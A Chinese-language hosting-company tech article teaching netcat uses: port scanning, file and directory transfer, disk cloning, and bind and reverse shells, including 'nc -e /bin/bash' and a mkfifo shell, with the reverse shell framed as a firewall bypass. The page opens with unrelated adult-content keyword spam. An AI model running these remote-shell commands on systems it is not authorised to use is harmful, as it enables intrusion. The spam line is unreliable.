亚洲韩日午夜视频,欧美日韩在线精品一区二区三区,韩国超清无码一区二区三区,亚洲国产成人影院播放,久草新在线,在线看片AV色

您好,歡迎來到思海網絡,我們將竭誠為您提供優質的服務! 誠征網絡推廣 | 網站備案 | 幫助中心 | 軟件下載 | 購買流程 | 付款方式 | 聯系我們 [ 會員登錄/注冊 ]
促銷推廣
客服中心
業務咨詢
有事點擊這里…  531199185
有事點擊這里…  61352289
點擊這里給我發消息  81721488
有事點擊這里…  376585780
有事點擊這里…  872642803
有事點擊這里…  459248018
有事點擊這里…  61352288
有事點擊這里…  380791050
技術支持
有事點擊這里…  714236853
有事點擊這里…  719304487
有事點擊這里…  1208894568
有事點擊這里…  61352289
在線客服
有事點擊這里…  531199185
有事點擊這里…  61352288
有事點擊這里…  983054746
有事點擊這里…  893984210
當前位置:首頁 >> 技術文章 >> 文章瀏覽
技術文章

Linux系統中使用netcat命令

添加時間:2016-1-14 18:46:03  添加: 思海網絡 
netcat是網絡工具中的瑞士軍刀,它能通過TCP和UDP在網絡中讀寫數據。通過與其他工具結合和重定向,你可以在腳本中以多種方式使用它。使用netcat命令所能完成的事情令人驚訝。
netcat所做的就是在兩臺電腦之間建立鏈接并返回兩個數據流,在這之后所能做的事就看你的想像力了。你能建立一個服務器,傳輸文件,與朋友聊天,傳輸流媒體或者用它作為其它協議的獨立客戶端。
下面是一些使用netcat的例子.


1,端口掃描
如果未安裝 nmap,試試 nc/netcat 命令,如下所示。-z 參數用來告訴 nc 報告開放的端口,而不是啟動連接。在 nc 命令中使用 -z 參數時,你需要在主機名/ip 后面限定端口的范圍和加速其運行:



代碼如下:
### 語法 ###
### nc -z -v {host-name-here} {port-range-here}
nc -z -v host-name-here ssh
nc -z -v host-name-here 22
nc -w 1 -z -v server-name-here port-Number-her
### 掃描 1 to 1023 端口 ###
nc -zv vip-1.vsnl.nixcraft.in 1-1023

輸出示例:


代碼如下:
Connection to localhost 25 port [tcp/smtp] succeeded!
Connection to vip-1.vsnl.nixcraft.in 25 port [tcp/smtp] succeeded!
Connection to vip-1.vsnl.nixcraft.in 80 port [tcp/http] succeeded!
Connection to vip-1.vsnl.nixcraft.in 143 port [tcp/imap] succeeded!
Connection to vip-1.vsnl.nixcraft.in 199 port [tcp/smux] succeeded!
Connection to vip-1.vsnl.nixcraft.in 783 port [tcp/*] succeeded!
Connection to vip-1.vsnl.nixcraft.in 904 port [tcp/vmware-authd] succeeded!
Connection to vip-1.vsnl.nixcraft.in 993 port [tcp/imaps] succeeded!

你也可以掃描單個端口:


代碼如下:
nc -zv v.txvip1 443
nc -zv v.txvip1 80
nc -zv v.txvip1 22
nc -zv v.txvip1 21
nc -zv v.txvip1 smtp
nc -zvn v.txvip1 ftp
### 使用1秒的超時值來更快的掃描 ###
netcat -v -z -n -w 1 v.txvip1 1-1023

輸出示例:


-z : 端口掃描模式即零 I/O 模式。
-v : 顯示詳細信息 [使用 -vv 來輸出更詳細的信息]。
-n : 使用純數字 IP 地址,即不用 DNS 來解析 IP 地址。
-w 1 : 設置超時值設置為1。
更多例子:



代碼如下:
$ netcat -z -vv www.cyberciti.biz http
www.cyberciti.biz [75.126.153.206] 80 (http) open
sent 0, rcvd 0
$ netcat -z -vv google.com https
DNS fwd/rev mismatch: google.com != maa03s16-in-f2.1e100.net
DNS fwd/rev mismatch: google.com != maa03s16-in-f6.1e100.net
DNS fwd/rev mismatch: google.com != maa03s16-in-f5.1e100.net
DNS fwd/rev mismatch: google.com != maa03s16-in-f3.1e100.net
DNS fwd/rev mismatch: google.com != maa03s16-in-f8.1e100.net
DNS fwd/rev mismatch: google.com != maa03s16-in-f0.1e100.net
DNS fwd/rev mismatch: google.com != maa03s16-in-f7.1e100.net
DNS fwd/rev mismatch: google.com != maa03s16-in-f4.1e100.net
google.com [74.125.236.162] 443 (https) open
sent 0, rcvd 0
$ netcat -v -z -n -w 1 192.168.1.254 1-1023
(UNKNOWN) [192.168.1.254] 989 (ftps-data) open
(UNKNOWN) [192.168.1.254] 443 (https) open
(UNKNOWN) [192.168.1.254] 53 (domain) open

2.Chat Server

假如你想和你的朋友聊聊,有很多的軟件和信息服務可以供你使用。但是,如果你沒有這么奢侈的配置,比如你在計算機實驗室,所有的對外的連接都是被限制的,你怎樣和整天坐在隔壁房間的朋友溝通那?不要郁悶了,netcat提供了這樣一種方法,你只需要創建一個Chat服務器,一個預先確定好的端口,這樣子他就可以聯系到你了。
Server



代碼如下:
$nc -l 1567

netcat 命令在1567端口啟動了一個tcp 服務器,所有的標準輸出和輸入會輸出到該端口。輸出和輸入都在此shell中展示。
Client


代碼如下:
$nc 172.31.100.7 1567

不管你在機器B上鍵入什么都會出現在機器A上。

3,文件傳輸

假設兩個服務器的IP分別是[A(172.31.100.7) B(172.31.100.23)]
大部分時間中,我們都在試圖通過網絡或者其他工具傳輸文件。有很多種方法,比如FTP,SCP,SMB等等,但是當你只是需要臨時或者一次傳輸文件,真的值得浪費時間來安裝配置一個軟件到你的機器上嘛。假設,你想要傳一個文件file.txt 從A 到B。A或者B都可以作為服務器或者客戶端,以下,讓A作為服務器,B為客戶端。
Server



代碼如下:
$nc -l 1567 < file.txt

Client


代碼如下:
$nc -n 172.31.100.7 1567 > file.txt

這里我們創建了一個服務器在A上并且重定向netcat的輸入為文件file.txt,那么當任何成功連接到該端口,netcat會發送file的文件內容。
在客戶端我們重定向輸出到file.txt,當B連接到A,A發送文件內容,B保存文件內容到file.txt.
沒有必要創建文件源作為Server,我們也可以相反的方法使用。像下面的我們發送文件從B到A,但是服務器創建在A上,這次我們僅需要重定向netcat的輸出并且重定向B的輸入文件。
B作為Server
Server


代碼如下:
$nc -l 1567 > file.txt

Client


代碼如下:
nc 172.31.100.23 1567 < file.txt

4,目錄傳輸

發送一個文件很簡單,但是如果我們想要發送多個文件,或者整個目錄,一樣很簡單,只需要使用壓縮工具tar,壓縮后發送壓縮包。
如果你想要通過網絡傳輸一個目錄從A到B。
Server



代碼如下:
$tar -cvf – dir_name | nc -l 1567

Client


代碼如下:
$nc -n 172.31.100.7 1567 | tar -xvf -

這里在A服務器上,我們創建一個tar歸檔包并且通過-在控制臺重定向它,然后使用管道,重定向給netcat,netcat可以通過網絡發送它。
在客戶端我們下載該壓縮包通過netcat 管道然后打開文件。
如果想要節省帶寬傳輸壓縮包,我們可以使用bzip2或者其他工具壓縮。
Server


代碼如下:
$tar -cvf – dir_name| bzip2 -z | nc -l 1567

通過bzip2壓縮
Client


代碼如下:
$nc -n 172.31.100.7 1567 | bzip2 -d |tar -xvf -

使用bzip2解壓

5. 加密你通過網絡發送的數據

如果你擔心你在網絡上發送數據的安全,你可以在發送你的數據之前用如mcrypt的工具加密。
服務端



代碼如下:
$nc localhost 1567 | mcrypt –flush –bare -F -q -d -m ecb > file.txt

使用mcrypt工具加密數據。
客戶端


代碼如下:
$mcrypt –flush –bare -F -q -m ecb < file.txt | nc -l 1567

使用mcrypt工具解密數據。
以上兩個命令會提示需要密碼,確保兩端使用相同的密碼。
這里我們是使用mcrypt用來加密,使用其它任意加密工具都可以。

6. 流視頻

雖然不是生成流視頻的最好方法,但如果服務器上沒有特定的工具,使用netcat,我們仍然有希望做成這件事。
服務端



代碼如下:
$cat video.avi | nc -l 1567

這里我們只是從一個視頻文件中讀入并重定向輸出到netcat客戶端


代碼如下:
$nc 172.31.100.7 1567 | mplayer -vo x11 -cache 3000 -

這里我們從socket中讀入數據并重定向到mplayer。

7,克隆一個設備

如果你已經安裝配置一臺Linux機器并且需要重復同樣的操作對其他的機器,而你不想在重復配置一遍。不在需要重復配置安裝的過程,只啟動另一臺機器的一些引導可以隨身碟和克隆你的機器。
克隆Linux PC很簡單,假如你的系統在磁盤/dev/sda上
Server



代碼如下:
$dd if=/dev/sda | nc -l 1567

Client


代碼如下:
$nc -n 172.31.100.7 1567 | dd of=/dev/sda

dd是一個從磁盤讀取原始數據的工具,我通過netcat服務器重定向它的輸出流到其他機器并且寫入到磁盤中,它會隨著分區表拷貝所有的信息。但是如果我們已經做過分區并且只需要克隆root分區,我們可以根據我們系統root分區的位置,更改sda 為sda1,sda2.等等。

8,打開一個shell

我們已經用過遠程shell-使用telnet和ssh,但是如果這兩個命令沒有安裝并且我們沒有權限安裝他們,我們也可以使用netcat創建遠程shell。
假設你的netcat支持 -c -e 參數(默認 netcat)
Server



代碼如下:
$nc -l 1567 -e /bin/bash -i

Client


代碼如下:
$nc 172.31.100.7 1567

這里我們已經創建了一個netcat服務器并且表示當它連接成功時執行/bin/bash
假如netcat 不支持-c 或者 -e 參數(openbsd netcat),我們仍然能夠創建遠程shell
Server


代碼如下:
$mkfifo /tmp/tmp_fifo
$cat /tmp/tmp_fifo | /bin/sh -i 2>&1 | nc -l 1567 > /tmp/tmp_fifo

這里我們創建了一個fifo文件,然后使用管道命令把這個fifo文件內容定向到shell 2>&1中。是用來重定向標準錯誤輸出和標準輸出,然后管道到netcat 運行的端口1567上。至此,我們已經把netcat的輸出重定向到fifo文件中。
說明:
從網絡收到的輸入寫到fifo文件中
cat 命令讀取fifo文件并且其內容發送給sh命令
sh命令進程受到輸入并把它寫回到netcat。
netcat 通過網絡發送輸出到client
至于為什么會成功是因為管道使命令平行執行,fifo文件用來替代正常文件,因為fifo使讀取等待而如果是一個普通文件,cat命令會盡快結束并開始讀取空文件。
在客戶端僅僅簡單連接到服務器
Client


代碼如下:
$nc -n 172.31.100.7 1567

你會得到一個shell提示符在客戶端

9.反向shell

反向shell是指在客戶端打開的shell。反向shell這樣命名是因為不同于其他配置,這里服務器使用的是由客戶提供的服務。
服務端



代碼如下:
$nc -l 1567

在客戶端,簡單地告訴netcat在連接完成后,執行shell。
客戶端


代碼如下:
$nc 172.31.100.7 1567 -e /bin/bash

現在,什么是反向shell的特別之處呢 
反向shell經常被用來繞過防火墻的限制,如阻止入站連接。例如,我有一個專用IP地址為172.31.100.7,我使用代理服務器連接到外部網絡。如果我想從網絡外部訪問 這臺機器如1.2.3.4的shell,那么我會用反向外殼用于這一目的。 

10. 指定源端口

假設你的防火墻過濾除25端口外其它所有端口,你需要使用-p選項指定源端口。
服務器端



代碼如下:
$nc -l 1567

客戶端


代碼如下:
$nc 172.31.100.7 1567 -p 25

使用1024以內的端口需要root權限。
該命令將在客戶端開啟25端口用于通訊,否則將使用隨機端口。

11. 指定源地址

假設你的機器有多個地址,希望明確指定使用哪個地址用于外部數據通訊。我們可以在netcat中使用-s選項指定ip地址。
服務器端



代碼如下:
$nc -u -l 1567 < file.txt

客戶端


代碼如下:
$nc -u 172.31.100.7 1567 -s 172.31.100.5 > file.txt

該命令將綁定地址172.31.100.5。
這僅僅是使用netcat的一些示例。
其它用途有:
    使用-t選項模擬Telnet客戶端,
    HTTP客戶端用于下載文件,
    連接到郵件服務器,使用SMTP協議檢查郵件,
    使用ffmpeg截取屏幕并通過流式傳輸分享,等等。其它更多用途。
簡單來說,只要你了解協議就可以使用netcat作為網絡通訊媒介,實現各種客戶端。

關鍵字:Linux、系統、服務器

分享到:

頂部 】 【 關閉
版權所有:佛山思海電腦網絡有限公司 ©1998-2024 All Rights Reserved.
聯系電話:(0757)22630313、22633833
中華人民共和國增值電信業務經營許可證: 粵B1.B2-20030321 備案號:粵B2-20030321-1
網站公安備案編號:44060602000007 交互式欄目專項備案編號:200303DD003  
察察 工商 網安 舉報有獎  警警  手機打開網站